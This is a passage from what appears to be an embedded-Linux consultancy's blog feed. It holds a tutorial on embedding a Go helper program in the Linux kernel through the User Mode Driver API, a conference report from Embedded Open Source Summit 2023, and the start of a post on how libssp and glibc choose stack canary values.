Prominent examples include the module loader helper, <code>/sbin/modprobe</code>, or the Spanning Tree Protocol (STP) helper for Linux&rsquo;s 802.1d Ethernet bridge subsystem, <code>/sbin/bridge-stp</code>.
On Linux, programs are typically launched from a file system using the <code>execve()</code> system call.
The kernel reads the initial parts of the specified file and hands over execution to user space.
Various helper functions exist on top of this system call, but they all have in common that the program to be executed is started from a file.
The same applies to the Linux user mode helper API, which allows executing a program from a driver.
Both scenarios require the program to be installed and loadable.
In most cases, having the program installed is a trivial problem if you have control over all user space, as is the case with a typical Linux distribution.</p>
<p>However, things become complicated if you are a Board Support Package (BSP) supplier, either external or in-house, and don&rsquo;t always have easy access to the workflow that determines what to install in the root file system.
Ensuring that a program is actually loadable from the current root file system is a different story.
A common problem arises in setups where the root file system is attached using network storage, such as NFS or iSCSI.
If the network connection is unavailable, all access to the root file system fails, and the kernel is unable to run helpers anymore.
This is where the mechanism we&rsquo;d like to present in this blog post can help.</p>
<p>Let&rsquo;s assume we have a device driver called <code>embedded_prog</code> that requires a user space helper program, which must be executable at any time.
First, we need the program we want to embed.
Strictly speaking, any program will do, but we need to ensure that the program in question has no dependencies on the file system.
Linking it statically provides benefits.
Go programs are statically linked by default, and to illustrate that the following approach works with any kind of program, we have chosen to embed a Go program into the kernel.
The driver itself is very simple.
All it does is execute the helper program as soon as the driver is loaded, and when the program writes something into the pipe, the contents are directly logged into the kernel log buffer.</p>
<h2 id="the-go-program">The Go Program</h2>
<p>To keep things simple, the program itself will be straightforward.
It will write &lsquo;Hello, world!&rsquo; to standard output every five seconds.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="s">&#34;time&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="k">for</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">                </span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;Hello, world!&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">                </span><span class="nx">time</span><span class="p">.</span><span class="nf">Sleep</span><span class="p">(</span><span class="mi">5</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">Second</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>Since we want to be independent of the root file system, we need to ensure that the program does not access files from the root file system.
We can achieve this by using strace to trace its system calls.</p>
<pre tabindex="0"><code>$ strace -fe trace=file ./eprog_user
execve(&#34;./eprog_user&#34;, [&#34;./eprog_user&#34;], 0x7fff743fbd50 /* 61 vars */) = 0
openat(AT_FDCWD, &#34;/sys/kernel/mm/transparent_hugepage/hpage_pmd_size&#34;, O_RDONLY) = 3
strace: Process 17908 attached
strace: Process 17909 attached
strace: Process 17910 attached
strace: Process 17911 attached
[pid 17905] --- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=17905, si_uid=1000} ---
Hello, world!
Hello, world!
^C
strace: Process 17905 detached
strace: Process 17908 detached
strace: Process 17909 detached
strace: Process 17910 detached
strace: Process 17911 detached
</code></pre><p>Looks good!
Access to files in <code>/proc</code> or <code>/sys</code> is fine.
These are virtual file systems and can be assumed to be present and working at all times.
They are part of the Linux ABI interface.</p>
<h2 id="linuxs-user-mode-helper-api">Linux&rsquo;s User Mode Helper API</h2>
<p>If your device driver needs to execute a user space program, the User Mode Helper API is the way to go.
The core function to use the API is <code>call_usermodehelper()</code>, which has the following signature:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">call_usermodehelper</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">,</span> <span class="kt">int</span> <span class="n">wait</span><span class="p">);</span>
</span></span></code></pre></div><p>Similar to the <code>execve()</code> system call, <code>call_usermodehelper()</code> takes parameters such as the filename of the program to be executed, supplied arguments, environment, and a flag denoting whether the call should be asynchronous or not.
However, this is not what we want for running an embedded program within the kernel image itself.</p>
<p>Since Linux v4.18, a more advanced API called user mode driver is available to run a user mode helper.
The basic idea behind this API is that instead of specifying a path to a file on the root file system, an arbitrary buffer can be provided.
The content of this buffer will be executed in user space just like a regular program.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">umd_load_blob</span><span class="p">(</span><span class="k">struct</span> <span class="n">umd_info</span> <span class="o">*</span><span class="n">info</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">fork_usermode_driver</span><span class="p">(</span><span class="k">struct</span> <span class="n">umd_info</span> <span class="o">*</span><span class="n">info</span><span class="p">);</span>
</span></span></code></pre></div><p>Using <code>umd_load_blob()</code>, a program context is created from a buffer, and later it is executed by <code>fork_usermode_driver()</code>.
In addition to running the program, the User Mode Driver API also establishes a pipe between the program and the kernel, enabling inexpensive communication between them.</p>
<p>But how do we get our Go program into that buffer?
We don&rsquo;t want a new user space interface where the program has to be loaded into the kernel first.
We want it to be part of the kernel image.</p>
<h2 id="gnu-assember-to-the-rescue">GNU Assember to the Rescue!</h2>
<p>The kernel build system, specifically the GNU assembler (gas), can assist us in embedding the Go program into the resulting kernel image during the build process.
By using a gas file, <code>eprog_user_blob.S</code>, we can instruct the assembler to generate a C object file with two symbols: <code>embedded_umh_start</code> and <code>embedded_umh_end</code>.
These symbols will contain the contents of a binary file specified by the <code>.incbin</code> command, and this file can be arbitrary.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-Gas" data-lang="Gas"><span class="line"><span class="cl">        <span class="na">.section</span> <span class="no">.init.rodata</span><span class="p">,</span> <span class="s">&#34;a&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">.global</span> <span class="no">embedded_umh_start</span>
</span></span><span class="line"><span class="cl"><span class="nl">embedded_umh_start:</span>
</span></span><span class="line"><span class="cl">        <span class="na">.incbin</span> <span class="s">&#34;drivers/misc/embedded_prog/eprog_user&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">.global</span> <span class="no">embedded_umh_end</span>
</span></span><span class="line"><span class="cl"><span class="nl">embedded_umh_end:</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>If we link the resulting object file, <code>eprog_user_blob.o</code>, with our Linux device driver, we can utilize the symbols to locate the contents of the Go program within the kernel image.
This makes loading and executing the program from a buffer straightforward.
In this case, the buffer passed to <code>umd_load_blob()</code> is a memory location within the read-only section of the in-memory kernel image.
The linker has kindly prepared everything for us at compile time!</p>
<p>The code snippet provided below demonstrates the essential segments of the device driver, <code>eprog_kern.c</code>, responsible for loading and executing the Go program:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">struct</span> <span class="n">umd_info</span> <span class="n">eprog_ctx</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="p">.</span><span class="n">driver_name</span> <span class="o">=</span> <span class="s">&#34;eprog_user&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nf">umd_load_blob</span><span class="p">(</span><span class="o">&amp;</span><span class="n">eprog_ctx</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">embedded_umh_start</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">embedded_umh_end</span> <span class="o">-</span> <span class="o">&amp;</span><span class="n">embedded_umh_start</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">fork_usermode_driver</span><span class="p">(</span><span class="o">&amp;</span><span class="n">eprog_ctx</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>Using the <code>nm</code> command, we can observe the symbols in the driver.
If the driver is built as a loadable module, you can run <code>nm</code> on <code>eprog.o</code>.
Otherwise, if it is built directly into the kernel, you can run <code>nm</code> on <code>vmlinux</code>.</p>
<pre tabindex="0"><code>$ nm eprog.o | grep embedded_umh_
00000000001bc4e4 R embedded_umh_end
0000000000000000 R embedded_umh_start
</code></pre><pre tabindex="0"><code>$ nm vmlinux | grep embedded_umh_
0000000060688a00 d embedded_umh_end
00000000604cc51c d embedded_umh_start
</code></pre><h2 id="gluing-it-all-together">Gluing it all Together</h2>
<p>So far we have the following components:</p>
<ul>
<li><a href="https://git.kernel.org/pub/scm/linux/kernel/git/rw/misc.git/tree/drivers/misc/embedded_prog/eprog_kern.c?h=embedded_go_prog">eprog_kern.c</a>: The kernel driver that runs <code>umd_load_blob()</code> and <code>fork_usermode_driver()</code>.</li>
<li><a href="https://git.kernel.org/pub/scm/linux/kernel/git/rw/misc.git/tree/drivers/misc/embedded_prog/eprog_user_blob.S?h=embedded_go_prog">eprog_user_blob.S</a>, The assembly source file we use to embed the Go program into a C object.</li>
<li><a href="https://git.kernel.org/pub/scm/linux/kernel/git/rw/misc.git/tree/drivers/misc/embedded_prog/gohello/hello.go?h=embedded_go_prog">gohello/hello.go</a>, Our Go program, located in a subdirectory of our driver.</li>
</ul>
<p>Using the following Makefile, all components are build and connected together:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-Makefile" data-lang="Makefile"><span class="line"><span class="cl"><span class="nf">$(obj)/eprog_user_blob.o</span><span class="o">:</span> <span class="k">$(</span><span class="nv">obj</span><span class="k">)</span>/<span class="n">eprog_user</span>
</span></span><span class="line"><span class="cl"><span class="nf">$(obj)/eprog_user</span><span class="o">:</span> <span class="k">$(</span><span class="nv">srctree</span><span class="k">)</span>/<span class="n">drivers</span>/<span class="n">misc</span>/<span class="n">embedded_prog</span>/<span class="n">gohello</span>/<span class="n">hello</span>.<span class="n">go</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># TODO: Add support for cross builds</span>
</span></span><span class="line"><span class="cl">        go build -o <span class="k">$(</span>obj<span class="k">)</span>/eprog_user <span class="k">$(</span>srctree<span class="k">)</span>/drivers/misc/embedded_prog/gohello/hello.go
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">obj-$(CONFIG_EMBEDDED_PROG)</span> <span class="o">+=</span> eprog.o
</span></span><span class="line"><span class="cl"><span class="nv">eprog-objs</span> <span class="o">+=</span> eprog_kern.o eprog_user_blob.o
</span></span></code></pre></td></tr></table>
</div>
</div><p>Linux&rsquo;s GNU make-based build system is rather flexible: it allows us to build our Go program even while building the kernel.</p>
<p>The following graphic outlines how all components are connected:</p>
<figure>
<img src="eprog.svg" loading="lazy" decoding="async" alt="Relationship between C objects"></figure>
<h2 id="demo">Demo</h2>
<pre tabindex="0"><code>$ insmod eprog.ko
$ ps fax
  PID TTY      STAT   TIME COMMAND
    2 ?        S      0:00 [kthreadd]
[..]
   25 ?        Sl     0:00  \_ eprog_user
[..]
   30 ?        R      0:00 ps fax
$ dmesg -w
[   53.300000] eprog: From userspace: Hello, world!
[   58.310000] eprog: From userspace: Hello, world!
[...]
</code></pre><p>We observe a new process, <code>eprog_user</code>, right after loading the driver module.
It is not a kernel thread, the name is not in square brackets and it is not a child
of PID 1 but of <code>kthreadd</code>.
Every five seconds the Go program will write <code>Hello, world!</code> via standard output
to the kernel driver which prints the string to the kernel log buffer.
Once the module is unloaded, the process is killed.</p>
<h2 id="summary">Summary</h2>
<p>We have seen that using a small assembly file and the User Mode Driver mechanism, it is possible to embed any kind of executable into the kernel image and run it later from there.
It works with any kind of program; we used a Go binary because it is statically linked and has no dependencies on the root file system.
If you&rsquo;re using your own program and want to be completely independent of the root file system, make sure that you know in detail which files it will process.
While the number of valid use cases for the presented feature is arguably small, it is still interesting to have and opens the door to new possibilities.
The example driver is rather simple, but there are numerous other ways to utilize this feature.
Please keep in mind that adding programs to the kernel image comes with a cost: the program as a whole will always stay in memory.</p>
<p>The full example driver is available on <a href="https://git.kernel.org/pub/scm/linux/kernel/git/rw/misc.git/tree/drivers/misc/embedded_prog?h=embedded_go_prog">git.kernel.org</a>.</p>
]]></content:encoded></item><item><title>Embedded Open Source Summit 2023 in Prague</title><link>https://sigma-star.at/blog/2023/07/eoss-2023/</link><pubDate>Mon, 03 Jul 2023 00:00:00 +0200</pubDate><author>Aaron Marcher</author><author>David Gstir</author><author>David Oberhollenzer</author><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/07/eoss-2023/</guid><description><![CDATA[<h1 id="embedded-open-source-summit-2023">Embedded Open Source Summit 2023</h1>
<p>The Embedded Open Source Summit in Prague was a significant event for our company, as it
marked our first major conference since the Pandemic.
As dedicated professionals in the field of embedded Linux systems, attending this summit
allowed us to gain valuable insights, learn from industry experts, and connect with like-minded individuals.</p>
<p>This year&rsquo;s summit featured six distinct tracks, namely the Embedded Linux Conference,
Zephyr Project Developer Summit, Automotive Linux Summit Europe, Embedded IoT Summit,
Safety-Critical Software Summit, and the LF Energy Embedded Summit 2023.
Our primary focus was on Linux and security-related topics.
In this blog post, we will provide a brief overview of the noteworthy talks and presentations
that left a lasting impact on us.</p>]]></description><content:encoded><![CDATA[<h1 id="embedded-open-source-summit-2023">Embedded Open Source Summit 2023</h1>
<p>The Embedded Open Source Summit in Prague was a significant event for our company, as it
marked our first major conference since the Pandemic.
As dedicated professionals in the field of embedded Linux systems, attending this summit
allowed us to gain valuable insights, learn from industry experts, and connect with like-minded individuals.</p>
<p>This year&rsquo;s summit featured six distinct tracks, namely the Embedded Linux Conference,
Zephyr Project Developer Summit, Automotive Linux Summit Europe, Embedded IoT Summit,
Safety-Critical Software Summit, and the LF Energy Embedded Summit 2023.
Our primary focus was on Linux and security-related topics.
In this blog post, we will provide a brief overview of the noteworthy talks and presentations
that left a lasting impact on us.</p>
<figure>
<img src="eoss2023.jpeg" loading="lazy" decoding="async" alt="Embedded Open Source Summit in Prague" width="1280" height="941"></figure>
<h4 id="finding-the-best-block-filesystem-for-your-embedded-linux-system">Finding the Best Block Filesystem for Your Embedded Linux System</h4>
<p>In this talk, Michael Opdenacker from Bootlin compared various file systems that
can be used on an embedded board&rsquo;s eMMC or SD card.
So the comparison and benchmarks included not just read-only filesystems like SquashFS and EROFS, but
also writable ones like ext4, XFS, btrfs, nilfs2 and F2FS.</p>
<p>The comparisons included read and write benchmarks, image size, size of the
kernel module and how tiny a minimal filesystem could be packed.</p>
<p>Regarding filesystem size, SquashFS came out as a clear winner, while EROFS wins
in terms of read speed. We&rsquo;ve also discussed in more detail <a href="https://blog.sigma-star.at/post/2022/07/squashfs-erofs/">in a previous blog post</a>.</p>
<p>If a writable filesystem is desired, with a focus on simplicity and image size,
ext4 wins across the board.</p>
<h4 id="the-resurrection-of-ureadahead-and-speeding-up-the-boot-process-and-preloading-applications">The Resurrection of Ureadahead and Speeding up the Boot Process and Preloading Applications</h4>
<p>If you&rsquo;ve ever been to an Embedded Linux Conference, you&rsquo;ll know Steven Rostedt.
Though not in Batman costume this time, he gave a great talk on <code>ureadahead</code>.
More specifically, how he resurrected this almost dead tool and how this helps speed up
every ChromeOS boot.</p>
<p>Basically, <code>ureadahead</code> records page faults during bootup and uses this information
on every subsequent boot to pre-cache the required pages in the Kernel&rsquo;s page cache.
One of the great changes Steven made as part of his <code>ureadahead</code> rewrite was
to remove the dependency on <em>non-mainline</em> tracepoints such that it now works
with vanilla Kernels.</p>
<p>Steven concluded with his list of future ideas for <code>ureadahead</code> and his call
for the embedded community to get involved. The following discussion showed
that effective performance boost for embedded devices might be lower though
as the read patterns might be different. Also, compression e.g. with SquashFS
might put more load on the CPU which could reduce the I/O benefits.</p>
<h4 id="status-of-embedded-linux">Status of Embedded Linux</h4>
<p>As always, Tim Bird&rsquo;s status report on embedded Linux was a conference highlight.
In addition to presenting various development statistics, Tim focused on the fact
that Linux is now the operating system of choice for most space vehicles.
When comparing the current state of embedded Linux to that of 10 or 15 years ago, the
overall outlook is very positive.</p>
<p>Tim also shared some unfortunate news: Wolfgang Denk, the founder of u-boot and DENX, passed away in 2022.
As a major contributor to embedded Linux and some of us having personally met
and worked with Wolfgang, we agree with Tim that he will definitely be missed!
Moreover, elinux.org, a valuable resource for the community, has lost its funding and now faces an uncertain future.</p>
<h4 id="toolchain-options-in-2023-whats-new-in-compilers-and-libcs">Toolchain Options in 2023: What&rsquo;s New in Compilers and Libcs?</h4>
<p>Bernhard Rosenkränzer from BayLibre provided a comprehensive overview of the toolchain landscape in 2023.
In addition to the traditional GNU toolchain (GCC, binutils, and glibc), we now have excellent tools from the LLVM project as well.
Bernhard conducted an unbiased comparison of all the available options and emphasized that having
more choices leads to increased test coverage for a project.
He also introduced lesser-known libc implementations that could prove valuable for deep embedded systems.</p>
<p>One of the key takeaways from his presentation was that building the same project using different toolchains aids in bug discovery.
This is because each compiler has its unique approach to detecting code issues.
From a security perspective, this is something we can attest to!</p>
<h4 id="muse-mtd-in-userspace-or-how-to-extend-fuse-for-fun-and-profit">MUSE: MTD in Userspace, or How to Extend FUSE for Fun and Profit</h4>
<p>Our own Richard Weinberger gave a nice talk on his work-in-progress debugging and evaluation tool
for MTD. With MUSE he utilizes the existing FUSE interfaces and (slightly) extended
them to now support writing MTD drivers in userspace.</p>
<p>Richard&rsquo;s motivation for creating MUSE stems from him maintainer work in various Kernel
raw flash subsystems: NAND, MTD, UBI, UBIFS. While the Kernel already has tools for this
(mtdram, block2mtd, nandsim) all of them have their drawbacks and using them can be quite
cumbersome. Everybody who had to figure out the proper NAND IDs for nandsim will be able
to relate ;-)</p>
<p>Richard started with an overview of his various attempts for MUSE and why FUSE
has a great fit for his use case. He also gave more detailed insights into the
FUSE interface, how he used them for MUSE and how it might be useful for other
use cases as well.</p>
<h4 id="evaluation-of-preempt_rt-in-virtualized-environments">Evaluation of PREEMPT_RT in Virtualized Environments</h4>
<p>As we ourselves know from experience with our customers proper real-time behavior is
often hard to achieve. Jan Altenberg from OSADL presented his findings from latency
measurements in virtualized scenarios.</p>
<p>He evaluated multiple scenarios from using containerized environments with Docker
and fully virtualized settings with KVM and Jailhouse. His focus was primarily on
thread latency (tested with <code>cyclictest</code>) and the influence of blocking kernel code (e.g. some
misbehaving device driver) and shared hardware resources like the CPU cache on real-time behavior in
host and guest OS.</p>
<p>The core takeaway from this talk is that correct assignment of hardware resources
like CPU cores and configuration of hardware is essential to achieving good results.
As one would expect, containerized environments with a shared OS Kernel have much
more influence on real-time behavior on the whole system than properly configured
virtualized environments. In Jan&rsquo;s test, the most effective isolation was
achieved when he used Jailhouse. Though even there, effects from the CPU cache will
still cause disturbance between individual guest OSes depending on the CPU and
guest OS segmentation.</p>
<p>Having access to the large OSADL real-time testing infrastructure definitely helped
with this. In case you want to check out the OSADL QA Farm for real-time for yourself <a href="https://www.osadl.org/OSADL-QA-Farm-Real-time.linux-real-time.0.html">here</a>.</p>
<h4 id="fetching-configuring-and-building-your-bitbake-project-with-just-one-command">Fetching, Configuring and Building Your Bitbake Project with Just One Command</h4>
<p>Jan Kiszka of Siemens AG presented <code>kas</code> (Bavarian for &ldquo;cheese&rdquo; or &ldquo;nonsense&rdquo;), a simple yet efficient
tool for setting up and performing Yocto builds.
Traditionally, when building a Yocto-based project, it is the responsibility of the project owner to
manage and checkout all the associated meta layers, create various configuration files, and initiate the build process.</p>
<p><code>kas</code> allows describing the entire project in a single YAML file and provides tools for checking
out, managing, and building the project.
Additionally, there is an accompanying wrapper called <code>kas-container</code>, which runs the entire Yocto
build within a Docker or Podman container.
This approach ensures that the build environment is completely separate from the host system,
minimizing any potential side effects during the build.</p>
<p>The project has been in existence since 2017, and at sigma star gmbh, we have been using it with
great success for the majority of our Yocto projects since 2021.</p>
<h4 id="setting-up-yocto-layers-and-builds-with-official-tools">Setting up Yocto Layers and Builds with Official Tools</h4>
<p>On a similar subject as the talk on <code>kas</code>, however with different goals and a
different implementation, Alexander Kanavin presented the new official Yocto
way to manage and reproduce build configurations and layers. Historically,
the Yocto Project did not provide such tools, which changed with the latest release(s).</p>
<p>In the current release (mickledore), the <code>bitbake-layers</code> tool is able to save its
configuration, which can afterward be restored with <code>oe-init-build-env</code> and
<code>oe-setup-build</code> (patch set is currently under code-review), respectively.
In the future, an additional high-level tool for setting up Yocto builds, called
<code>oe-setup</code> may be possibly available via PyPi, making build initialization even
simpler. Also an integration with <code>kas</code> using a plugin is possible in the future.</p>
<h4 id="why-are-gpus-not-fast---a-trip-through-the-driver-stack">Why Are GPUs (Not) Fast - A Trip Through the Driver Stack</h4>
<p>Pengutronix&rsquo;s GPU expert, Lucas Stach, provided a crisp overview of the pipelining and scheduling of GPU
based rendering pipelines. The takeaway message was that GPUs are primarily
optimized for throughput, not latency. A rendering pipeline involving shared
resources, multiple compositing steps, and frame write synchronized with
vertical refresh can easily rake up a latency in the double digit milliseconds.</p>
<p>This becomes relevant in the context of real-time applications, where we are
interested in optimizing for stable, low latency.
Generally, when discussing real-time properties, one should keep in mind that latency, jitter and
throughput are separate concepts. &ldquo;Real-time&rdquo; does not necessarily
mean &ldquo;real-fast&rdquo;. GPUs are primarily optimized for the latter.</p>
<h4 id="tracking-vulnerabilities-with-buildroot-and-yocto">Tracking Vulnerabilities with Buildroot and Yocto</h4>
<p>Arnout gave an interesting talk on how to track vulnerabilities across all your dependencies
with Buildroot and Yocto. Both projects include tooling to use CVE identifiers published via
the NVD for tracking vulnerabilities. It was interesting to see that the current tooling sometimes
makes tracking known vulnerabilities within your custom Linux distribution quite cumbersome.</p>
<p>Arnout went on explaining how tracking vulnerabilities across open source software using
CVE and CPE databases is even further complicated by the fact that the information in these
database is often not fully accurate. For example affected version numbers for vulnerabilities
are incorrect or project names do not match up. For example OpenSSL as maintained upstream
should be treated differently than OpenSSL maintained by Debian as the maintainers
backport certain security fixes to older versions.</p>
<p>The talk concluded with a discussion of alternative ways for tracking vulnerabilities: OSV (Open Source Vulnerabilities)
which look like an interesting alternative to CVEs if they get widely adopted.</p>
<h4 id="testing-and-remote-access-to-embedded-system-dpilvds-display-output">Testing and Remote Access to Embedded System DPI/LVDS Display Output</h4>
<p>In this presentation, Marek Vasut presented his various approaches to access
embedded display outputs remotely for testing. It turned out, that this could
actually be pretty useful for some of our customer&rsquo;s projects too.</p>
<p>His presentation gave an in-depth overview about the various implementation
options and the overall development odyssey. He started off with an introduction
of high-bandwidth interfaces usable for capturing display output (USB 3.0 is the
only real fitting candidate) and gave a rough overview over embedded system
display buses.</p>
<p>Then, Marek presented the first, failed approach of using an FPGA with a bridge
chip as a USB Video-Class (UVC) device, which had seemed like the obvious
solution, but failed because of inflexibility and implementation problems.
The second implementation, using the bridge chip as a FIFO directly,
surprisingly worked out in the end.</p>
<p>After an initial, more or less &ldquo;hacky&rdquo; (albeit working) solution using some
signal analyzer software, he designed his own PCBs and software for this
use case. Marek also made his KiCad schematics and code openly available.</p>
<h2 id="summary">Summary</h2>
<p>As always, the conference was a great exchange of ideas, featuring numerous captivating talks.
Moreover, the hallway track provided an excellent opportunity for networking and intense discussions.
We had the pleasure of meeting many fascinating individuals and engaging in stimulating conversations.</p>
<figure>
<img src="castle.jpeg" loading="lazy" decoding="async" alt="Prague Castle" width="1280" height="708"></figure>
<p>During our time at the summit, we had more to experience than just the conference sessions and talks.
As a group, we took the chance to visit Prague Castle and enjoy some sightseeing. We admired the
impressive architecture, explored the historic halls, and appreciated the cultural heritage of this
captivating city. To wrap up the conference, we participated in a closing game hosted by Tim Bird,
which added an entertaining element. The game included a few quiz questions related to Prague and its
famous landmarks, which made our sightseeing excursion even more meaningful.</p>
]]></content:encoded></item><item><title>Who's your canary?</title><link>https://sigma-star.at/blog/2023/05/stack-canary/</link><pubDate>Tue, 30 May 2023 00:00:00 +0200</pubDate><author>Aaron Marcher</author><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/05/stack-canary/</guid><description><![CDATA[<h1 id="whos-your-canary">Who&rsquo;s your canary?</h1>
<p>A few weeks ago we gave a training on secure coding and talked about the stack
protector on Linux. While roughly explaining how it works and how it can be utilized
with <em>GCC</em>, an attendee asked where the stack canary comes from. The question was
quickly resolved by answering that it&rsquo;s a random value provided by the kernel upon
process startup.</p>
<p>But where does the value really come from? This question turned out to be more
interesting than expected. In this blog post we will give you a rough overview
where the stack canary comes from with different libc implementations.</p>]]></description><content:encoded><![CDATA[<h1 id="whos-your-canary">Who&rsquo;s your canary?</h1>
<p>A few weeks ago we gave a training on secure coding and talked about the stack
protector on Linux. While roughly explaining how it works and how it can be utilized
with <em>GCC</em>, an attendee asked where the stack canary comes from. The question was
quickly resolved by answering that it&rsquo;s a random value provided by the kernel upon
process startup.</p>
<p>But where does the value really come from? This question turned out to be more
interesting than expected. In this blog post we will give you a rough overview
where the stack canary comes from with different libc implementations.</p>
<h2 id="short-recap">Short recap</h2>
<figure>
<img src="canary.png?width=50" loading="lazy" decoding="async" alt="Canary in the stack"></figure>
<p>Stack canaries are a security feature implemented in many software programs to
help mitigate buffer overflow attacks. The stack protector places a
randomized <em>canary</em> value at a specific position on the function stack.
It is crucial that the value is not known to the attacker, not can be easily guessed.
This is why the canary value is randomly selected for each newly executed program.
Please note that the value is not unique per process, if a process is copied,
i.e. via <code>fork()</code>, then also the canary value stays the same.
Before function returns the value is compared to the initial one. If it changed, the
stack is corrupted and execution aborts to prevent an attacker from executing their malicious code.</p>
<p>For example, in <em>GCC</em> the stack protector can be enabled using the
<code>-fstack-protector</code> compiler option.</p>
<h2 id="implementing-a-canary">Implementing a canary</h2>
<p>Let&rsquo;s take a look at how various stack protector implementations select the canary value.
In most implementations, the symbol <code>__stack_chk_guard</code> holds the canary value,
and the function <code>__stack_chk_fail()</code> is called upon failure.</p>
<h3 id="libssp">libssp</h3>
<p><em>libssp</em> is a standalone library included in <em>GCC</em>, if enabled, providing
stack protection mechanisms. Per default, it is disabled on most Linux systems,
but it has proven to be useful on bare metal (embedded) systems without a libc.</p>
<p>To generate its canaries, it tries to read from <code>/dev/urandom</code> if present. Otherwise, the canary is hard-coded to the values <code>0x00</code>, <code>0x00</code>, <code>0xff</code>, <code>0x0a</code>. These values are chosen to stop string functions and prevent stack overflow:</p>
<ul>
<li><code>0x00</code> is the NULL character, terminating a string</li>
<li><code>0xff</code> is invalid according to the UTF-8 specification</li>
<li><code>0x0a</code> is a newline character</li>
</ul>
<p>Running <code>gcc -v</code> on your distro will most likely show <code>--disable-libssp</code>.</p>
<p>Source:
<a href="https://gcc.gnu.org/git/?p=gcc.git;f=libssp/ssp.c;hb=83ffe9cde7fe0b4deb0d1b54175fd9b19c38179c#l73"><code>gcc/libssp/ssp.c:73</code></a></p>
<h3 id="glibc">glibc</h3>
<p>When there is no <code>libssp</code> support is available, <em>glibc</em> can handle canaries on its own.
For each newly started program, the kernel generates a random
value and passes it to the program using the auxiliary vector<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> <code>AT_RANDOM</code> from the userspace&rsquo;s
auxiliary vector. On non-Linux systems, <em>glibc</em> falls back to using the value <code>0x00</code>, <code>0x00</code>, <code>0xff</code>, <code>0x0a</code> (see <em>libssp</em>).</p>
